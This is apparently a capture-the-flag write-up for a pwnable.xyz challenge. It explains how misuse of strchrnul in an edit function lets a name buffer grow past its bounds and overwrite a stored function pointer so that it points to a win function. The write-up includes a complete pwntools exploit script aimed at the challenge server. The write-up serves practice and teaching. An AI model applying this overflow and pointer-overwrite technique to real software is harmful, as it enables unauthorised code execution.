Initially the program prompts for username then continue with the menu. Users can
Option 1 calls the game. A game is stored at **(cur+0x88)
Option 2 calls save_game()
Option 3 calls delete_save()
Option 4 just prints the current name
Option 5 calls edit_char()
Option 0 exits the program
Call win
which will print out the flag
Buffer Overflow:
edit_char
uses strchrnul
which returns a pointer to the null byte at the end of the string, rather than NULL. It is used here without checking the bounds of the character to replace.
This example replaces Z
with f
. Z
doesn't exist so the 0x00
is replaced instead
Before | After |
---|---|
![]() |
![]() |
By replacing multiple 0x00
we can 'grow' the name string to also include the bytes beyond its original length.
-
The maximum length of name is
0x7f
or 127. This includes\n
and\x00
when entering manually
The game is stored at cur+0x88
(highlighted). It can be overwritten using edit_char
-
The default game address is at
0x00400d6b
-
The address of win is located at
0x00400cf3
- Use Option 5 to replace
0x00
until the name string grows to include the word atcur+0x88
- Use Option 5 to replace
0x00400d6b
to0x00400cf3
(change 2 lower bytes) - Use Option 1 to jump to win function
from pwn import *
e = ELF("challenge")
p = remote("svc.pwnable.xyz", 30015)
payload = b"D" * 0x7f
p.recvuntil(b":")
p.send(payload)
# grow the string
# change 5 \x00 to D with strchrnul
for i in range(0, 5):
p.recvuntil(b">")
p.sendline(b'5')
p.recvuntil(b":")
p.sendline(b'Z')
p.sendline(b'D')
# change 0x400d6b to 0x400cf3
p.recvuntil(b">")
p.sendline(b'5')
p.recvuntil(b":")
p.sendline(b'\x0d')
p.sendline(b'\x0c')
p.recvuntil(b">")
p.sendline(b'5')
p.recvuntil(b":")
p.sendline(b'\x6b')
p.sendline(b'\xf3')
# Jump to win
p.sendline(b'1')
p.interactive()
Note: This exploit works sometimes because the number of \x00
to be replaced varies. Just run multiple times